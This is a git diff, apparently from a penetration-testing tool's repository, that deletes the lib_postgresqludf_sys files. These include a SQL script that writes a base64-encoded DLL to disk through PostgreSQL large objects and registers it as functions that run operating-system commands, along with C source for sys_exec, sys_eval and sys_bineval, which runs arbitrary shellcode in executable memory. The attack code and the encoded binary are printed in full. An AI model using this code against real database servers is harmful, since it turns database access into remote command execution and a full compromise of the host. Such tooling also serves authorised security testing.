data=data||'PVC7HlDrGEoLD/bfpwSOO8d0F2joA6gsagDy/3fd9obWbOfrB8csATyhL0xqAm/37oZe0glqH5IJRus8qhDABHXte++4xwUfKBpA4CcH79/3nVyLILQEsBs6WYk1K/tztxs9WTmydQhpczA5PRXS3+69XHQcaAYoCHxDDf91PL7Y9rYDCCMW//FUiH+suRkB3AgBodt4BINl/ACZyM5m39sP1Pxjg7Ung/gCZtJZW//NsI19oFhLUDFZLjXmaN/hD4SHxxlUE0kU8e2luxgQiX2N7wQ7yHJRgz/b2j+2g/NqbDkHdOn/NyYg+BDabKExXLn4VhVxx+3NRBtHTfhVOU0Q27b2rQPQCHS0iQkCDBoIYGN20nbrp/YM/VlELttXiBE4WAZMMvwbjiALP1BDm1u/9Db8ycIMAGoQQxIo0Fv5i/KLXbK7vbkIHFTkM8lc/Il9IAhbi7Hw/DvxWjk6RBfk4c3/H6+EO/B0BYP+AnUuoew7wXSeFm64bVZf0Dte5AADkz24D2cR/mwUFoBWw7+TEglSJ/4BdSRkIFrEZoWzE1d3L1L+Gu010gYRU/dqA3VDYc92w080AyFodC4sLVx42CV/6xtx7IsXCXCpfLyq4FBRZEwQZei5Gg6t9i/60v67tcdv2xkFnSrkIb3DluyvcJrUFv87JGobd7cKjvZUfUhVDA0EklnKBWKGXTgiMygDbt5MG18hIEMFHIkVGIkd+25ubhSJNRCJPQxmjBg4BmZplmYNLB0IBe9uaZYEJQAtf/ycjxT5s421MJVWJAcEKI1FCLMx1v40i4Xg/KCqcJUBbR3btRwZICQTGAllwLm7ZowJHLNgiYXYMr4xzPIKBNwDFDRodMZfBaa0jFlq9xjWvs/geUYcgz0gAPkjrEDsHWhbG34G8cJ7eiTJw4BAHhTDahQLKSnySlAVqvj8/pMeopwQZFnrZ2oIN6RZQ3LDOI/tJzXDrdC6WTTg9b8D5FB/bSNgvkt0Zp4c3CpbjK0ULNbiCeDlJbRXG9I6'; --- UPDATE udftest SET data=data||'2wd53IRnk9xsmFnZTttt/u8WBt332BvA99hZSF1WuLwYvgQaHX/pV1A7xnMPiwdTAlA5rPQO1jv+cvEwJSALEinkIE9pDd6+ETUIuE1aLmY5AXP/8u9KWGhBPAPBgThQRXXvM9K5CwEbdoN/HEgYD5Tnwl07PyW+NS3dSDHID7dBRaVLbLdWBXEGM1cACBgR/98ajXbkoBwMO/lyCYtYCAPZO/sztd/gcgpCnCg71nLoat9ONh8O2U9q/qNwaNVkGOYbOBICUIPsCCnpu+HWMWYzxXDwZKMaiTAMFj5DTAloT/BwfV1nYuwS71WXLRNQt2iWhxkILAg7KyTBFYJw4egf9w/gAYkD1HbbqU8dAFmUi+WWKdaxnZ0Byj2pwPqdYmUt2C+7MUZGxk43PAVAREzG8uOSqRKwEOwJZbN2ch0Qyar776UWBh5a/T6UM5dttmwDjSvg+vzxQLAGmjyu/IrZwCbBdw3DlZYzHBzGUU4Ued6xfOh2aQISBCAUCqoYka3Y71yj7BBogvg7aA7+U1e/TuZAu35mfA2F6KdCicMrNZQE62C2xKRW43hjEXWYxhaKtZILl/AHNNHMlUEInSe++1vbOPQzDBE793UHvk9Z6wuF83XsEfgup8HgEAvwyAD31gfGRih9BF5fW7o/mAWcRkZGRlhcYGgAAGRHVAAA1CgV8gIhAI10Z9l9pRQRIgNkA0Bl0AzSAXJIXf///RJREhBLUlNEUwG3/T9I581Otf//N//blFHkL74MDGM6XERvY3VtZW50cyBhbmQgU2X//9v/dHRpbmdzXEFkbQdpc3RyYXRvci5XMkszU1RFTv63t/ZVUERBBjNlc2sWcFxzaGFyZVx2/O3/3yZ1YWxfY3BwX3Byb2plY3Q+bGliX3Bv/f//tmcfc3FsdWRmX3N5c184MlxSZWxlYXNlIMd+gSAucGRi0dUZbPK9WHcH0A91g3WVq6EHbQOBAzslhyfMB30PJNGdsNgfCQsDH9AogwAAAn0DpaLtsRm/RP+q'; --- UPDATE udftest SET data=data||'iiSCAIAAAGAw/woqwEIU//+XZ3gQAUdldEN1cnJlbnRQcm9jZXNzvf//yElkU3lzdGVtVGltZUFzRmlsZQn+1n6LGAhja0NvdS8NUXVlcnlQrcXa3wNmb3JtYW48Fg4Y3/6t+0Rpc2FiM2hXYWRMaWJyYSdDYWxsXCv/t3NvSXNEZWJ1Z2dlcm127W172VRTVW5oQGQxZEV4Rq2wmPtwdGlvbnNKGQTQtpS5ElQXtm+ytkRhHhFJkGwMa8257dZAnW1wh2VHUX9Zwlpzd1VRIhtCYbZsXMQVM6y7Pc2FPF9jaXQ0bQrXtu8GXzRfYW1zZwh4EQvtd7/wZGp1Ql9mZGl2DV9DcHBYY78JoP1hvF9kZWNvA5HctjBhaTJdbR55GGxr7xVCizL1CW5NESYLFhMPZQ2+dvuEXxtyNF9MbW0cGG5bs2v/V2RfbnU9RG1hYx5ye25hYzRuc9gdCMZuhm1m8nQsrnJuhHPN3O0d/N0qcGVVRV5zhfYPYwe0MDrvsdsE51bIzotvb7aGoX1rIlZuX3R5ORwaFlsotIkVil9yCp49zcJsRpGkcEVwZwFccO9DdG9hc0u6dW3///9nVhAzGAksFiMtCxcpERcRB4YGBhcJBwUWDB5/+///CAoLFgkYGBUFBhsFDBAGBxcGIQURDwYUIRELCCff/7crIgUHDREdDRhTLUg4BgAHCLJt3y4MCTMKCQsMWwUWFu7f/u0OCzQVCxgWDT0FQrwFEh4UBmky2d7N/xEMDh1NBRcjDQwkCAtEAvBvKvh/NARgBOgIBBwcBAAyTAEFAC3/YfVTHoNJNOAAAiELAQkMCJj9JlsArBULbOa+9xoJCwLeHgf3uzTfA2AEc4IeQAEqbM+WvQIHBnAmB7hmtm/ZjCJQFEBPsACrZntTUJ930BzVtyx2IBghQgAvbPMDSbAudGV4dLoKkMNDNhsMt0JgLnLLLWGQW2H7KAcIE7rvNYcCQC4m/gOUMLhN2WkCJ8BPc3Jg3wvWgOuwcxpPzc3RCFKp'; --- UPDATE udftest SET data=data||'T4wBUPtNySAeQhuMIxIAAHxyoVJTAAASAAAA/wAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnDmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; --- UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA'; --- UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAABTHoNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAkBAAABAQAACgEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; - - --- Create a new OID for a large object, it implicitly adds an entry in the --- PostgreSQL large objects system table --- --- References: --- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html --- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html -SELECT lo_unlink(35817); -SELECT lo_create(35817); - - --- Update the PostgreSQL system large objects table assigning to the just --- created OID the binary (base64 decoded) UDF as data --- --- Refereces: --- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql -UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817; - - --- Export the binary UDF OID to a file on the file system --- --- Any folder where postgres user has read/write/execute access is valid --- SELECT lo_export(35817, E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll'); --- --- Notes: --- If the library file already exists, the user postgres does not have --- access to overwrite it --- The following enumerates the PostgreSQL data directory --- SELECT CURRENT_SETTING('data_directory') --- Reference: --- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html --- The following will save into C:\Program Files\PostgreSQL\8.3\data -SELECT lo_export(35817, 'lib_postgresqludf_sys.dll'); -- Favourite one, no need to enumerate the PostgreSQL data directory before --- The following will save into nowhere --- SELECT lo_export(35817, E'\lib_postgresqludf_sys.dll'); --- The following would save into C:\ (Permission denied) --- SELECT lo_export(35817, E'\\lib_postgresqludf_sys.dll'); - - --- Create two functions from the binary UDF file --- CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; --- CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; - - --- Test the two functions -SELECT sys_exec('echo test > %TEMP%/lib_postgresqludf_sys.txt'); -- %TEMP% path is C:\Documents and Settings\postgres\Local Settings\Temp -SELECT sys_eval('echo %TEMP% && whoami'); - - --- Cleanup the file system and the database -SELECT sys_exec('del %TEMP%\\lib_postgresqludf_sys.*'); -DROP TABLE IF EXISTS udftest; -DROP FUNCTION IF EXISTS sys_exec(text); -DROP FUNCTION IF EXISTS sys_eval(text); diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll deleted file mode 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G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c deleted file mode 100755 index ffc890e9c..000000000 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c +++ /dev/null @@ -1,192 +0,0 @@ -/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define _USE_32BIT_TIME_T -#define DLLEXP __declspec(dllexport) -#define BUILDING_DLL 1 -#else -#define DLLEXP -#include -#include -#include -#include -#endif - -#include -#include -#include -#include - -#include - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - -#ifdef PG_MODULE_MAGIC -PG_MODULE_MAGIC; -#endif - -PG_FUNCTION_INFO_V1(sys_exec); -extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - int32 result = 0; - char *command; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command execution: %s", command); - */ - - result = system(command); - free(command); - - PG_FREE_IF_COPY(argv0, 0); - PG_RETURN_INT32(result); -} - -PG_FUNCTION_INFO_V1(sys_eval); -extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - int32 argv0_size; - char *command; - char *result; - FILE *pipe; - char line[1024]; - int32 outlen, linelen; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command evaluated: %s", command); - */ - - result = (char *)malloc(1); - outlen = 0; - - pipe = popen(command, "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (*result) { - result[outlen-1] = 0x00; - } - - result_text = (text *)malloc(VARHDRSZ + strlen(result)); - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; - //SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); - memcpy(VARDATA(result_text), result, strlen(result)); - - PG_RETURN_POINTER(result_text); -} - -PG_FUNCTION_INFO_V1(sys_bineval); -extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, VARDATA(argv0), len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - PG_RETURN_INT32(1); - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - PG_RETURN_INT32(1); - - strncpy((char *)addr, VARDATA(argv0), len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - PG_RETURN_INT32(0); -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c deleted file mode 100644 index 48cabdcc2..000000000 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c +++ /dev/null @@ -1,192 +0,0 @@ -/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define _USE_32BIT_TIME_T -#define DLLEXP __declspec(dllexport) -#define BUILDING_DLL 1 -#else -#define DLLEXP -#include -#include -#include -#include -#endif - -#include -#include -#include -#include - -#include - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - -#ifdef PG_MODULE_MAGIC -PG_MODULE_MAGIC; -#endif - -PG_FUNCTION_INFO_V1(sys_exec); -extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - int32 result = 0; - char *command; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command execution: %s", command); - */ - - result = system(command); - free(command); - - PG_FREE_IF_COPY(argv0, 0); - PG_RETURN_INT32(result); -} - -PG_FUNCTION_INFO_V1(sys_eval); -extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - int32 argv0_size; - char *command; - char *result; - FILE *pipe; - char line[1024]; - int32 outlen, linelen; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command evaluated: %s", command); - */ - - result = (char *)malloc(1); - outlen = 0; - - pipe = popen(command, "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (*result) { - result[outlen-1] = 0x00; - } - - result_text = (text *)malloc(VARHDRSZ + strlen(result)); - //VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); - memcpy(VARDATA(result_text), result, strlen(result)); - - PG_RETURN_POINTER(result_text); -} - -PG_FUNCTION_INFO_V1(sys_bineval); -extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, VARDATA(argv0), len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - PG_RETURN_INT32(1); - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - PG_RETURN_INT32(1); - - strncpy((char *)addr, VARDATA(argv0), len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - PG_RETURN_INT32(0); -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} 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a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh b/extra/postgresqludfsys/linux/install.sh similarity index 100% rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh rename to extra/postgresqludfsys/linux/install.sh diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/linux/lib_postgresqludf_sys.sql similarity index 100% rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql rename to extra/postgresqludfsys/linux/lib_postgresqludf_sys.sql diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so b/extra/postgresqludfsys/linux/so/8.2/lib_postgresqludf_sys.so similarity index 100% rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so rename to extra/postgresqludfsys/linux/so/8.2/lib_postgresqludf_sys.so diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so b/extra/postgresqludfsys/linux/so/8.3/lib_postgresqludf_sys.so similarity index 100% rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so rename to extra/postgresqludfsys/linux/so/8.3/lib_postgresqludf_sys.so diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/linux/src/8.2/lib_postgresqludf_sys.c similarity index 100% rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c rename to extra/postgresqludfsys/linux/src/8.2/lib_postgresqludf_sys.c diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/linux/src/8.3/lib_postgresqludf_sys.c similarity index 100% rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c rename to extra/postgresqludfsys/linux/src/8.3/lib_postgresqludf_sys.c